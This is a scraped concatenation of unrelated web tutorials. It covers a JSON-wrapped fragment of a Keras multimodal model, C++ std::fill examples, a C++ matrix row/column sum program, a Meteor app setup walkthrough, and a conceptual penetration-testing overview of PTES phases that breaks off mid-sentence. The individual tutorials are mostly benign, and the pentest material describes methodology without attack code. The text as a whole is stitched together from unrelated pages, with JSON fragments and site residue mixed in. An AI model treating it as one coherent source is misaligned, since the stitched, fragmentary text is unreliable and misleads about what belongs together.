kl.SpatialDropout1D(0.25)(y)y = kl.LSTM(25, dropout=0.25, recurrent_dropout=0.25)(y)y = kl.Dropout(0.25)(y)y = km.Model(inputs=features, outputs=y)" }, { "code": null, "e": 11450, "s": 11190, "text": "We then can combine these two outputs and feed them into a series of Dense layers. A set of dense layers is able to capture information that is available only when both audio and text signals are combined, and is not identifiable from each input individually." }, { "code": null, "e": 11547, "s": 11450, "text": "We also use an Adam optimizer with learning rate 0.0001, which is generally a great combination:" }, { "code": null, "e": 11939, "s": 11547, "text": "combined = kl.concatenate([x.output, y.output])z = kl.Dense(32, activation=\"relu\")(combined)z = kl.Dropout(rate=0.25)(z)z = kl.Dense(32, activation=\"relu\")(z)z = kl.Dropout(rate=0.25)(z)z = kl.Dense(3, activation=\"softmax\")(z)model = km.Model(inputs=[x.input, y.input], outputs=z)model.compile(optimizer=ko.Adam(lr=0.0001), loss='categorical_crossentropy', metrics='accuracy')model.summary()" }, { "code": null, "e": 12051, "s": 11939, "text": "The model can then be trained using the Training and Validation Generators that we previously created by doing:" }, { "code": null, "e": 12483, "s": 12051, "text": "# HyperparametersEPOCHS = 13TRAIN_STEPS = np.floor(train.shape[0]/BATCH)VALIDATION_STEPS = np.floor(validation.shape[0]/BATCH)# Model Trainingmodel.fit_generator(generator=train_generator(text_features, BATCH), steps_per_epoch=TRAIN_STEPS, validation_data=validation_generator(validation_features, BATCH), validation_steps=VALIDATION_STEPS, epochs=EPOCHS)" }, { "code": null, "e": 12635, "s": 12483, "text": "Lastly, the model is evaluated on a set of data, for instance the Validation set alone, and then saved as a file to load when used in “Live” scenarios:" }, { "code": null, "e": 12805, "s": 12635, "text": "# Performance Evaluation# Validationmodel.evaluate_generator(generator=validation_generator(validation_features, BATCH))# Save the Model and Labelsmodel.save('Model.h5')" }, { "code": null, "e": 13103, "s": 12805, "text": "Overall, we built a system able to take multiple types of inputs (images, text, etc.), preprocess them and then feed them to a Neural Network consisting of a branch per input. Each branch individually processes its input for then converging into a common set of layers predicting the final output." }, { "code": null, "e": 13127, "s": 13103, "text": "The specific steps are:" }, { "code": null, "e": 13140, "s": 13127, "text": "Data Loading" }, { "code": null, "e": 13196, "s": 13140, "text": "Preprocess Input Separately (Spectrogram, Tokenization)" }, { "code": null, "e": 13229, "s": 13196, "text": "Creating a Custom Data Generator" }, { "code": null, "e": 13261, "s": 13229, "text": "Building the Model Architecture" }, { "code": null, "e": 13276, "s": 13261, "text": "Model Training" }, { "code": null, "e": 13299, "s": 13276, "text": "Performance Evaluation" } ]
fill in C++ STL - GeeksforGeeks
22 Sep, 2019 The ‘fill’ function assigns the value ‘val’ to all the elements in the range [begin, end), where ‘begin’ is the initial position and ‘end’ is the last position. NOTE : Notice carefully that ‘begin’ is included in the range but ‘end’ is NOT included. Below is an example to demonstrate ‘fill’ : // C++ program to demonstrate working of fill()#include <bits/stdc++.h>using namespace std; int main(){ vector<int> vect(8); // calling fill to initialize values in the // range to 4 fill(vect.begin() + 2, vect.end() - 1, 4); for (int i = 0; i < vect.size(); i++) cout << vect[i] << " "; return 0;} 0 0 4 4 4 4 4 0 We can also use fill to fill values in an array. // C++ program to demonstrate working of fill()#include <bits/stdc++.h>using namespace std; int main(){ int arr[10]; // calling fill to initialize values in the // range to 4 fill(arr, arr + 10, 4); for (int i = 0; i < 10; i++) cout << arr[i] << " "; return 0;} 4 4 4 4 4 4 4 4 4 4 Filling list in C++. // C++ program to demonstrate working of fill()#include <bits/stdc++.h>using namespace std; int main(){ list<int> ml = { 10, 20, 30 }; fill(ml.begin(), ml.end(), 4); for (int x : ml) cout << x << " "; return 0;} 4 4 4 cpp-list cpp-vector STL C++ STL CPP Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Inheritance in C++ C++ Classes and Objects Operator Overloading in C++ Constructors in C++ Virtual Function in C++ Socket Programming in C/C++ Templates in C++ with Examples Copy Constructor in C++ Object Oriented Programming in C++ rand() and srand() in C/C++
[ { "code": null, "e": 24345, "s": 24317, "text": "\n22 Sep, 2019" }, { "code": null, "e": 24506, "s": 24345, "text": "The ‘fill’ function assigns the value ‘val’ to all the elements in the range [begin, end), where ‘begin’ is the initial position and ‘end’ is the last position." }, { "code": null, "e": 24639, "s": 24506, "text": "NOTE : Notice carefully that ‘begin’ is included in the range but ‘end’ is NOT included. Below is an example to demonstrate ‘fill’ :" }, { "code": "// C++ program to demonstrate working of fill()#include <bits/stdc++.h>using namespace std; int main(){ vector<int> vect(8); // calling fill to initialize values in the // range to 4 fill(vect.begin() + 2, vect.end() - 1, 4); for (int i = 0; i < vect.size(); i++) cout << vect[i] << \" \"; return 0;}", "e": 24970, "s": 24639, "text": null }, { "code": null, "e": 24987, "s": 24970, "text": "0 0 4 4 4 4 4 0\n" }, { "code": null, "e": 25036, "s": 24987, "text": "We can also use fill to fill values in an array." }, { "code": "// C++ program to demonstrate working of fill()#include <bits/stdc++.h>using namespace std; int main(){ int arr[10]; // calling fill to initialize values in the // range to 4 fill(arr, arr + 10, 4); for (int i = 0; i < 10; i++) cout << arr[i] << \" \"; return 0;}", "e": 25330, "s": 25036, "text": null }, { "code": null, "e": 25351, "s": 25330, "text": "4 4 4 4 4 4 4 4 4 4\n" }, { "code": null, "e": 25372, "s": 25351, "text": "Filling list in C++." }, { "code": "// C++ program to demonstrate working of fill()#include <bits/stdc++.h>using namespace std; int main(){ list<int> ml = { 10, 20, 30 }; fill(ml.begin(), ml.end(), 4); for (int x : ml) cout << x << \" \"; return 0;}", "e": 25610, "s": 25372, "text": null }, { "code": null, "e": 25617, "s": 25610, "text": "4 4 4\n" }, { "code": null, "e": 25626, "s": 25617, "text": "cpp-list" }, { "code": null, "e": 25637, "s": 25626, "text": "cpp-vector" }, { "code": null, "e": 25641, "s": 25637, "text": "STL" }, { "code": null, "e": 25645, "s": 25641, "text": "C++" }, { "code": null, "e": 25649, "s": 25645, "text": "STL" }, { "code": null, "e": 25653, "s": 25649, "text": "CPP" }, { "code": null, "e": 25751, "s": 25653, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 25770, "s": 25751, "text": "Inheritance in C++" }, { "code": null, "e": 25794, "s": 25770, "text": "C++ Classes and Objects" }, { "code": null, "e": 25822, "s": 25794, "text": "Operator Overloading in C++" }, { "code": null, "e": 25842, "s": 25822, "text": "Constructors in C++" }, { "code": null, "e": 25866, "s": 25842, "text": "Virtual Function in C++" }, { "code": null, "e": 25894, "s": 25866, "text": "Socket Programming in C/C++" }, { "code": null, "e": 25925, "s": 25894, "text": "Templates in C++ with Examples" }, { "code": null, "e": 25949, "s": 25925, "text": "Copy Constructor in C++" }, { "code": null, "e": 25984, "s": 25949, "text": "Object Oriented Programming in C++" } ]
C++ program to find the Sum of each Row and each Column of a Matrix
In this tutorial, we will be discussing a program to find the sum of each row and each column for a given matrix. For this, we will be given with a say A*B matrix. Our task is to traverse through all the elements of the matrix and find the sum of each row and each column of the matrix. #include <iostream> using namespace std; #define m 7 #define n 6 //calculating sum of each row void calc_rsum(int arr[m][n]){ int i,j,sum = 0; for (i = 0; i < 4; ++i) { for (j = 0; j < 4; ++j) { sum = sum + arr[i][j]; } cout << "Sum of the row "<< i << ": " << sum << endl; sum = 0; } } //calculating sum of each column void calc_csum(int arr[m][n]) { int i,j,sum = 0; for (i = 0; i < 4; ++i) { for (j = 0; j < 4; ++j) { sum = sum + arr[j][i]; } cout << "Sum of the column "<< i << ": " << sum <<endl; sum = 0; } } int main() { int i,j; int arr[m][n]; int x = 1; for (i = 0; i < m; i++) for (j = 0; j < n; j++) arr[i][j] = x++; calc_rsum(arr); calc_csum(arr); return 0; } Sum of the row 0: 10 Sum of the row 1: 34 Sum of the row 2: 58 Sum of the row 3: 82 Sum of the column 0: 40 Sum of the column 1: 44 Sum of the column 2: 48 Sum of the column 3: 52
[ { "code": null, "e": 1176, "s": 1062, "text": "In this tutorial, we will be discussing a program to find the sum of each row and each column for a given matrix." }, { "code": null, "e": 1349, "s": 1176, "text": "For this, we will be given with a say A*B matrix. Our task is to traverse through all the elements of the matrix and find the sum of each row and each column of the matrix." }, { "code": null, "e": 2132, "s": 1349, "text": "#include <iostream>\nusing namespace std;\n#define m 7\n#define n 6\n//calculating sum of each row\nvoid calc_rsum(int arr[m][n]){\n int i,j,sum = 0;\n for (i = 0; i < 4; ++i) {\n for (j = 0; j < 4; ++j) {\n sum = sum + arr[i][j];\n }\n cout << \"Sum of the row \"<< i << \": \" << sum << endl;\n sum = 0;\n }\n}\n//calculating sum of each column\nvoid calc_csum(int arr[m][n]) {\n int i,j,sum = 0;\n for (i = 0; i < 4; ++i) {\n for (j = 0; j < 4; ++j) {\n sum = sum + arr[j][i];\n }\n cout << \"Sum of the column \"<< i << \": \" << sum <<endl;\n sum = 0;\n }\n}\nint main() {\n int i,j;\n int arr[m][n];\n int x = 1;\n for (i = 0; i < m; i++)\n for (j = 0; j < n; j++)\n arr[i][j] = x++;\n calc_rsum(arr);\n calc_csum(arr);\n return 0;\n}" }, { "code": null, "e": 2312, "s": 2132, "text": "Sum of the row 0: 10\nSum of the row 1: 34\nSum of the row 2: 58\nSum of the row 3: 82\nSum of the column 0: 40\nSum of the column 1: 44\nSum of the column 2: 48\nSum of the column 3: 52" } ]
How to create an App using Meteor ? - GeeksforGeeks
07 Oct, 2021 It is a full-stack javascript platform for developing web and mobile applications. The meteor uses a set of technologies to achieve our goal along with Node.js and JavaScript. It expects the least development efforts and provides the best performance. In this article, we are going to see how we can initiate a project on the meteor. Below is a step-by-step implementation. Step 1: Installation Linux and OS: The cURL command is used to interact with the server by specifying its location and here we are receiving our code to install meteor from the resource provided by the meteor and the sh command is installing that. curl https://install.meteor.com/ | sh Windows: In windows, we will need the node package manager to install meteor. npm install -g meteor Step 2: Creating a project with the meteor is so simple, just write the meteor create command in your terminal along with some configurations. meteor create app-name --option Configurations:app-name – This will be our application name.option – The name of the JavaScript library/framework which is supported by meteor i.e. Vue, Svelte, React, Blaze, and Angular. Also, meteor provides few more options. For example, here we are creating a react based application with `meteor create hello-world –react` Project Structure: On successful initialization, this would be our folder structure. Step 3: Run Application. Write the command below to run your meteor app, after the run meteor keeps all changes of files in sync. meteor run Something like this will be shown on your terminal. Output: When we open http://localhost:3000 to view our application in the browser, something like the screenshot given below will appear. This is the default frontend view of a meteor application. With this our meteor project is ready and we can start writing our database models, server logic, and the frontend design inside it. Example 1: In this example, we are going to replace the default frontend content of the meteor. Inside the imports/ui directory there exists an App.jsx file and we can write our react code inside that. Filename: App.jsx Javascript import React from 'react'; export const App = () => ( <div> <h1>Hello, GFG Learner!</h1> </div>); Output: Example 2: This is the sample of how to fetch data from the database and render it on the frontend with the help of Meteor. First of all, we have to create the mongo collection, here we have created a collection named gfglinks and exported it so that it can be used in other files. Filename: links.js Javascript import { Mongo } from 'meteor/mongo'; export const LinksCollection = new Mongo.Collection('gfglinks'); Explanation: After the collection being created we can insert data into it. At the backend, we are inserting some data into the collection. Meteor.startup executes some given functionality when the server starts. Notice we are importing LinksCollection which we have exported from the links.js file. The insert method inserts the give data into the database. Filename: main.js Javascript import { Meteor } from 'meteor/meteor';import { LinksCollection } from '/imports/api/links'; function insertLink({ title, url }) { LinksCollection.insert({title, url});} Meteor.startup(() => { insertLink({ title: 'Competitive Programming Guide', url: 'https://www.geeksforgeeks.org/competitive-programming-a-complete-guide/?ref=shm' }); insertLink({ title: 'Data Structures Tutorial', url: 'https://www.geeksforgeeks.org/data-structures/?ref=shm' }); insertLink({ title: 'Algorithmic Tutorial', url: 'https://www.geeksforgeeks.org/fundamentals-of-algorithms/?ref=shm' });}); Explanation: When data is in our database, we can fetch it to the frontend. Here we are rendering all data that is inserted into the database in the last step. The useTracker is a hook in meteor which takes care of all reactivity of components. LinkCollection is that one which we have exported from the link.js file, the find method finds all data inside it. Later we are simply rendering some li tags with the help of the map function. Filename: App.jsx Javascript import React from 'react';import { useTracker } from 'meteor/react-meteor-data';import { LinksCollection } from '../api/links'; const App = () => { const links = useTracker(() => { return LinksCollection.find().fetch(); }); return ( <div> <h1>Hello, GeeksforGeeks Learner</h1>H <h2>Explore the Articles provided by GFG</h2> <ul>{links.map( link => <li key={link._id}> {link.title} <a href={link.url} target="_blank"> Click Here! </a> </li> )}</ul> </div> );};export default App; Output: After all this process our application is ready to run, with meteor run something like the GIF given below will be shown up. JavaScript-Questions Meteor Picked JavaScript Web Technologies Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Difference between var, let and const keywords in JavaScript Difference Between PUT and PATCH Request How to filter object array based on attributes? How to get selected value in dropdown list using JavaScript ? How to remove duplicate elements from JavaScript Array ? Roadmap to Become a Web Developer in 2022 Installation of Node.js on Linux Top 10 Projects For Beginners To Practice HTML and CSS Skills How to fetch data from an API in ReactJS ? How to insert spaces/tabs in text using HTML/CSS?
[ { "code": null, "e": 25220, "s": 25192, "text": "\n07 Oct, 2021" }, { "code": null, "e": 25554, "s": 25220, "text": "It is a full-stack javascript platform for developing web and mobile applications. The meteor uses a set of technologies to achieve our goal along with Node.js and JavaScript. It expects the least development efforts and provides the best performance. In this article, we are going to see how we can initiate a project on the meteor." }, { "code": null, "e": 25594, "s": 25554, "text": "Below is a step-by-step implementation." }, { "code": null, "e": 25615, "s": 25594, "text": "Step 1: Installation" }, { "code": null, "e": 25842, "s": 25615, "text": "Linux and OS: The cURL command is used to interact with the server by specifying its location and here we are receiving our code to install meteor from the resource provided by the meteor and the sh command is installing that." }, { "code": null, "e": 25880, "s": 25842, "text": "curl https://install.meteor.com/ | sh" }, { "code": null, "e": 25958, "s": 25880, "text": "Windows: In windows, we will need the node package manager to install meteor." }, { "code": null, "e": 25981, "s": 25958, "text": "npm install -g meteor " }, { "code": null, "e": 26125, "s": 25981, "text": "Step 2: Creating a project with the meteor is so simple, just write the meteor create command in your terminal along with some configurations." }, { "code": null, "e": 26157, "s": 26125, "text": "meteor create app-name --option" }, { "code": null, "e": 26385, "s": 26157, "text": "Configurations:app-name – This will be our application name.option – The name of the JavaScript library/framework which is supported by meteor i.e. Vue, Svelte, React, Blaze, and Angular. Also, meteor provides few more options." }, { "code": null, "e": 26486, "s": 26385, "text": "For example, here we are creating a react based application with `meteor create hello-world –react`" }, { "code": null, "e": 26572, "s": 26486, "text": "Project Structure: On successful initialization, this would be our folder structure. " }, { "code": null, "e": 26702, "s": 26572, "text": "Step 3: Run Application. Write the command below to run your meteor app, after the run meteor keeps all changes of files in sync." }, { "code": null, "e": 26714, "s": 26702, "text": "meteor run " }, { "code": null, "e": 26766, "s": 26714, "text": "Something like this will be shown on your terminal." }, { "code": null, "e": 26963, "s": 26766, "text": "Output: When we open http://localhost:3000 to view our application in the browser, something like the screenshot given below will appear. This is the default frontend view of a meteor application." }, { "code": null, "e": 27096, "s": 26963, "text": "With this our meteor project is ready and we can start writing our database models, server logic, and the frontend design inside it." }, { "code": null, "e": 27298, "s": 27096, "text": "Example 1: In this example, we are going to replace the default frontend content of the meteor. Inside the imports/ui directory there exists an App.jsx file and we can write our react code inside that." }, { "code": null, "e": 27316, "s": 27298, "text": "Filename: App.jsx" }, { "code": null, "e": 27327, "s": 27316, "text": "Javascript" }, { "code": "import React from 'react'; export const App = () => ( <div> <h1>Hello, GFG Learner!</h1> </div>);", "e": 27432, "s": 27327, "text": null }, { "code": null, "e": 27440, "s": 27432, "text": "Output:" }, { "code": null, "e": 27722, "s": 27440, "text": "Example 2: This is the sample of how to fetch data from the database and render it on the frontend with the help of Meteor. First of all, we have to create the mongo collection, here we have created a collection named gfglinks and exported it so that it can be used in other files." }, { "code": null, "e": 27741, "s": 27722, "text": "Filename: links.js" }, { "code": null, "e": 27752, "s": 27741, "text": "Javascript" }, { "code": "import { Mongo } from 'meteor/mongo'; export const LinksCollection = new Mongo.Collection('gfglinks');", "e": 27856, "s": 27752, "text": null }, { "code": null, "e": 28215, "s": 27856, "text": "Explanation: After the collection being created we can insert data into it. At the backend, we are inserting some data into the collection. Meteor.startup executes some given functionality when the server starts. Notice we are importing LinksCollection which we have exported from the links.js file. The insert method inserts the give data into the database." }, { "code": null, "e": 28233, "s": 28215, "text": "Filename: main.js" }, { "code": null, "e": 28244, "s": 28233, "text": "Javascript" }, { "code": "import { Meteor } from 'meteor/meteor';import { LinksCollection } from '/imports/api/links'; function insertLink({ title, url }) { LinksCollection.insert({title, url});} Meteor.startup(() => { insertLink({ title: 'Competitive Programming Guide', url: 'https://www.geeksforgeeks.org/competitive-programming-a-complete-guide/?ref=shm' }); insertLink({ title: 'Data Structures Tutorial', url: 'https://www.geeksforgeeks.org/data-structures/?ref=shm' }); insertLink({ title: 'Algorithmic Tutorial', url: 'https://www.geeksforgeeks.org/fundamentals-of-algorithms/?ref=shm' });});", "e": 28874, "s": 28244, "text": null }, { "code": null, "e": 29234, "s": 28874, "text": "Explanation: When data is in our database, we can fetch it to the frontend. Here we are rendering all data that is inserted into the database in the last step. The useTracker is a hook in meteor which takes care of all reactivity of components. LinkCollection is that one which we have exported from the link.js file, the find method finds all data inside it." }, { "code": null, "e": 29312, "s": 29234, "text": "Later we are simply rendering some li tags with the help of the map function." }, { "code": null, "e": 29330, "s": 29312, "text": "Filename: App.jsx" }, { "code": null, "e": 29341, "s": 29330, "text": "Javascript" }, { "code": "import React from 'react';import { useTracker } from 'meteor/react-meteor-data';import { LinksCollection } from '../api/links'; const App = () => { const links = useTracker(() => { return LinksCollection.find().fetch(); }); return ( <div> <h1>Hello, GeeksforGeeks Learner</h1>H <h2>Explore the Articles provided by GFG</h2> <ul>{links.map( link => <li key={link._id}> {link.title} <a href={link.url} target=\"_blank\"> Click Here! </a> </li> )}</ul> </div> );};export default App;", "e": 29901, "s": 29341, "text": null }, { "code": null, "e": 30035, "s": 29901, "text": "Output: After all this process our application is ready to run, with meteor run something like the GIF given below will be shown up. " }, { "code": null, "e": 30056, "s": 30035, "text": "JavaScript-Questions" }, { "code": null, "e": 30063, "s": 30056, "text": "Meteor" }, { "code": null, "e": 30070, "s": 30063, "text": "Picked" }, { "code": null, "e": 30081, "s": 30070, "text": "JavaScript" }, { "code": null, "e": 30098, "s": 30081, "text": "Web Technologies" }, { "code": null, "e": 30196, "s": 30098, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 30205, "s": 30196, "text": "Comments" }, { "code": null, "e": 30218, "s": 30205, "text": "Old Comments" }, { "code": null, "e": 30279, "s": 30218, "text": "Difference between var, let and const keywords in JavaScript" }, { "code": null, "e": 30320, "s": 30279, "text": "Difference Between PUT and PATCH Request" }, { "code": null, "e": 30368, "s": 30320, "text": "How to filter object array based on attributes?" }, { "code": null, "e": 30430, "s": 30368, "text": "How to get selected value in dropdown list using JavaScript ?" }, { "code": null, "e": 30487, "s": 30430, "text": "How to remove duplicate elements from JavaScript Array ?" }, { "code": null, "e": 30529, "s": 30487, "text": "Roadmap to Become a Web Developer in 2022" }, { "code": null, "e": 30562, "s": 30529, "text": "Installation of Node.js on Linux" }, { "code": null, "e": 30624, "s": 30562, "text": "Top 10 Projects For Beginners To Practice HTML and CSS Skills" }, { "code": null, "e": 30667, "s": 30624, "text": "How to fetch data from an API in ReactJS ?" } ]
Python Penetration Testing - Quick Guide
Pen test or penetration testing, may be defined as an attempt to evaluate the security of an IT infrastructure by simulating a cyber-attack against computer system to exploit vulnerabilities. What is the difference between vulnerability scanning and penetration testing? Vulnerability scanning simply identifies the noted vulnerabilities and penetration testing, as told earlier, is an attempt to exploit vulnerabilities. Penetration testing helps to determine whether unauthorized access or any other malicious activity is possible in the system. We can perform penetration testing for servers, web applications, wireless networks, mobile devices and any other potential point of exposure using manual or automated technologies. Because of penetration testing, if we exploit any kind of vulnerabilities, the same must be forwarded to the IT and the network system manager to reach a strategic conclusion. In this section, we will learn about the significance of penetration testing. Consider the following points to know about the significance − The significance of penetration testing can be understood from the point that it provides assurance to the organization with a detailed assessment of the security of that organization. With the help of penetration testing, we can spot potential threats before facing any damage and protect confidentiality of that organization. Penetration testing can ensure us regarding the implementation of security policy in an organization. With the help of penetration testing, the efficiency of network can be managed. It can scrutinize the security of devices like firewalls, routers, etc. Suppose if we want to implement any change in network design or update the software, hardware, etc. then penetration testing ensures the safety of organization against any kind of vulnerability. Penetration testers are software professionals who help organizations strengthen their defenses against cyber-attacks by identifying vulnerabilities. A penetration tester can use manual techniques or automated tools for testing. Let us now consider the following important characteristics of a good penetration tester − A good pentester must have knowledge of application development, database administration and networking because he/she will be expected to deal with configuration settings as well as coding. Pentester must be an outstanding thinker and will not hesitate to apply different tools and methodologies on a particular assignment for getting the best output. A good pentester must have the knowledge to establish the scope for each penetration test such as its objectives, limitations and the justification of procedures. A pentester must be up-to-date in his/her technological skills because there can be any change in technology anytime. After successfully implementing penetration testing, a pen tester must mention all the findings and potential risks in the final report. Hence, he/she must have good skills of report making. A passionate person can achieve success in life. Similarly, if a person is passionate about cyber securities then he/she can become a good pen tester. We will now learn about the scope of penetration testing. The following two kinds of tests can define the scope of penetration testing − Nondestructive testing does not put the system into any kind of risk. NDT is used to find defects, before they become dangerous, without harming the system, object, etc. While doing penetration testing, NDT performs the following actions − This test scans and identifies the remote system for possible vulnerabilities. After finding vulnerabilities, it also does the verification of all that is found. In NDT, a pen tester would utilize the remote system properly. This helps in avoiding interruptions. Note − On the other hand, while doing penetration testing, NDT does not perform Denial-of-Service (DoS) attack. Destructive testing can put the system into risk. It is more expensive and requires more skills than nondestructive testing. While doing penetration testing, destructive testing performs the following actions − Denial-of-Service (DoS) attack − Destructive testing performs DoS attack. Denial-of-Service (DoS) attack − Destructive testing performs DoS attack. Buffer overflow attack − It also performs buffer overflow attack which can lead to the crash of system. Buffer overflow attack − It also performs buffer overflow attack which can lead to the crash of system. The penetration testing techniques & tools should only be executed in environments you own or have permission to run these tools in. We must never practice these techniques in environments wherein, we are not authorized to do so because penetration testing without permission is illegal. We can practice penetration testing by installing a virtualization suite - either VMware Player (www.vmware.com/products/player) or Oracle VirtualBox − www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html We can practice penetration testing by installing a virtualization suite - either VMware Player (www.vmware.com/products/player) or Oracle VirtualBox − www.oracle.com/technetwork/server-storage/virtualbox/downloads/index.html We can also create Virtual Machines (VMs) out of the current version of − We can also create Virtual Machines (VMs) out of the current version of − Kali Linux (www.kali.org/downloads/) Kali Linux (www.kali.org/downloads/) Samurai Web Testing Framework (http://samurai.inguardians.com/) Samurai Web Testing Framework (http://samurai.inguardians.com/) Metasploitable (www.offensivesecurity.com/metasploit-unleashed/Requirements) Metasploitable (www.offensivesecurity.com/metasploit-unleashed/Requirements) In recent times, both government and private organizations have taken up cyber security as a strategic priority. Cyber criminals have often made government and private organizations their soft targets by using different attacking vectors. Unfortunately, due to lack of efficient policies, standards and complexity of information system, cyber criminals have large number of targets and they are becoming successful in exploiting the system and stealing information too. Penetration testing is one strategy that can be used to mitigate the risks of cyberattacks. The success of penetration testing depends upon an efficient & consistent assessment methodology. We have a variety of assessment methodologies related to penetration testing. The benefit of using a methodology is that it allows assessors to evaluate an environment consistently. Following are a few important methodologies − Open Source Security Testing Methodology Manual (OSSTMM) Open Source Security Testing Methodology Manual (OSSTMM) Open Web Application Security Project (OWASP) Open Web Application Security Project (OWASP) National Institute of Standards and Technology (NIST) National Institute of Standards and Technology (NIST) Penetration Testing Execution Standard (PTES) Penetration Testing Execution Standard (PTES) PTES, penetration testing execution standard, as the name implies is an assessment methodology for penetration testing. It covers everything related to a penetration test. We have a number of technical guidelines, within PTES, related to different environments that an assessor may encounter. This is the biggest advantage of using PTES by new assessors because technical guidelines have the suggestions for addressing and evaluating environment within industry standard tools. In the following section, we will learn about the different phases of PTES. The penetration testing execution standard (PTES) consists of seven phases. These phases cover everything related to a penetration test - from the initial communication and reasoning behind a pentest, through the intelligence gathering and threat modeling phases where testers are working behind the scenes. This leads to a better understanding of the tested organization, through vulnerability research, exploitation and post exploitation. Here, the technical security expertise of the testers is critically combined with the business understanding of the engagement, and finally to the reporting, which captures the entire process, in a manner that makes sense to the customer and provides the most value to it. We will learn about the seven phases of PTES in our subsequent sections − This is the first and very important phase of PTES. The main aim of this phase is to explain the tools and techniques available, which help in a successful pre-engagement step of a penetration test. Any mistake while implementing this phase can have a significant impact on the rest of the assessment. This phase comprises of the following − The very first part with which this phase starts is the creation of a request for an assessment by the organization. A Request for Proposal (RFP) document having the details about the environment, kind of assessment required and the expectations of the organization is provided to the assessors. Now, based on the RFP document, multiple assessment firms or individual Limited Liability Corporations (LLCs) will bid and the party, the bid of which matches the work requested, price and some other specific parameters will win. Now, the organization and the party, who won the bid, will sign a contract of Engagement Letter (EL). The letter will have the statement of work (SOW) and the final product. Once the EL is signed, fine-tuning of the scope can begin. Such meetings help an organization and the party to fine-tune a particular scope. The main goal of scoping meeting is to discuss what will be tested. Scope creep is something where the client may try to add on or extend the promised level of work to get more than it may have promised to pay for. That is why the modifications to original scope should be carefully considered due to time and resources. It must also be completed in some documented form such as email, signed document or authorized letter etc. During initial communications with the customer, there are several questions that the client will have to answer for proper estimation of the engagement scope. These questions are designed to provide a better understanding of what the client is looking to gain out of the penetration test; why the client is looking to have a penetration test performed against their environment; and, whether or not they want certain types of tests performed during the penetration test. The last part of the pre-engagement phase is to decide the procedure to conduct the test. There are various testing strategies like White Box, Black Box, Grey Box, Double-blind testing to choose from. Following are a few examples of assessments that may be requested − Network penetration test Web application penetration test Wireless network penetration test Physical penetration test Social engineering Phishing Voice Over Internet Protocol(VOIP) Internal network External network Intelligence gathering, the second phase of PTES, is where we perform the preliminary surveying against a target to gather as much information as possible to be utilized when penetrating the target during the vulnerability assessment and exploitation phases. It helps organizations in determining the external exposure by assessment team. We can divide information gathering in the following three levels − Automated tools can obtain this level of information almost entirely. Level 1 information gathering effort should be appropriate to meet the compliance requirement. This level of information can be obtained by using automated tools from level 1 along with some manual analysis. This level needs a good understanding of the business, including information such as physical location, business relationship, organization chart, etc. Level 2 information gathering effort should be appropriate to meet the compliance requirement along with other needs such as long-term security strategy, acquiring smaller manufacturers, etc. This level of information gathering is used in the most advanced penetration test. All the information from level 1 and level 2 along with lots of manual analysis is required for level 3 information gathering. This is the third phase of PTES. Threat modeling approach is required for correct execution of penetration testing. Threat modeling can be used as part of a penetration test or it may may face based on a number of factors. In case we are using threat modeling as part of penetration test, then the information gathered in the second phase would be rolled back into the first phase. The following steps constitute the threat-modelling phase − Gather necessary and relevant information. Gather necessary and relevant information. Need to identify and categorize primary & secondary assets. Need to identify and categorize primary & secondary assets. Need to identify and categorize threats & threat communities. Need to identify and categorize threats & threat communities. Need to map threat communities against primary & secondary assets. Need to map threat communities against primary & secondary assets. The following table lists down the relevant threat communities and agents along with their location in the organization − While doing threat-modeling assessment, we need to remember that the location of threats can be internal. It takes only a single phishing e-mail or one annoyed employee who is keeping the security of organization at stake by broadcasting credentials. This is the fourth phase of PTES in which the assessor will identify the feasible targets for further testing. In the first three phases of PTES, only the details about organization have been extracted and the assessor has not touched any resources for testing. It is the most time consuming phase of PTES. The following stages constitute Vulnerability Analysis − It may be defined as the process of discovering flaws such as misconfiguration and insecure application designs in the systems and applications of host and services. The tester must properly scope the testing and desired outcome before conducting vulnerability analysis. The vulnerability testing can be of the following types − Active testing Passive testing We will discuss the two types in detail in our subsequent sections. It involves direct interaction with the component being tested for security vulnerabilities. The components can be at low level such as the TCP stack on a network device or at high level such as the web based interface. Active testing can be done in the following two ways − It utilizes the software to interact with a target, examine responses and determine based on these responses whether a vulnerability in the component is present or not. The importance of automated active testing in comparison with manual active testing can be realized from the fact that if there are thousands of TCP ports on a system and we need to connect all of them manually for testing, it would take considerably huge amount of time. However, doing it with automated tools can reduce lots of time and labor requirements. Network vulnerability scan, port scan, banner grabbing, web application scan can be done with the help of automated active testing tools. Manual effective testing is more effective when compared to automated active testing. The margin of error always exists with automated process or technology. That is why it is always recommended to execute manual direct connections to each protocol or service available on a target system to validate the result of automated testing. Passive testing does not involve direct interaction with the component. It can be implemented with the help of the following two techniques − This technique involves looking at the data that describes the file rather than the data of the file itself. For example, the MS word file has the metadata in terms of its author name, company name, date & time when the document was last modified and saved. There would be a security issue if an attacker can get passive access to metadata. It may be defined as the technique for connecting to an internal network and capturing data for offline analysis. It is mainly used to capture the “leaking of data” onto a switched network. After vulnerability testing, validation of the findings is very necessary. It can be done with the help of the following techniques − If an assessor is doing vulnerability testing with multiple automated tools then for validating the findings, it is very necessary to have a correlation between these tools. The findings can become complicated if there is no such kind of correlation between tools. It can be broken down into specific correlation of items and categorical correlation of items. Validation can be done with the help of protocols also. VPN, Citrix, DNS, Web, mail server can be used to validate the findings. After the finding and validation of vulnerability in a system, it is essential to determine the accuracy of the identification of the issue and to research the potential exploitability of the vulnerability within the scope of the penetration test. Research can be done publicly or privately. While doing public research, vulnerability database and vendor advisories can be used to verify the accuracy of a reported issue. On the other hand, while doing private research, a replica environment can be set and techniques like fuzzing or testing configurations can be applied to verify the accuracy of a reported issue. This is the fifth phase of PTES. This phase focuses on gaining access to the system or resource by bypassing security restrictions. In this phase, all the work done by previous phases leads to gaining access of the system. There are some common terms as follows used for gaining access to the system − Popped Shelled Cracked Exploited The logging in system, in exploitation phase, can be done with the help of code, remote exploit, creation of exploit, bypassing antivirus or it can be as simple as logging via weak credentials. After getting the access, i.e., after identifying the main entry point, the assessor must focus on identifying high value target assets. If the vulnerability analysis phase was properly completed, a high value target list should have been complied. Ultimately, the attack vector should take into consideration the success probability and highest impact on the organization. This is the sixth phase of PTES. An assessor undertakes the following activities in this phase − The analysis of the entire infrastructure used during penetration testing is done in this phase. For example, analysis of network or network configuration can be done with the help of interfaces, routing, DNS servers, 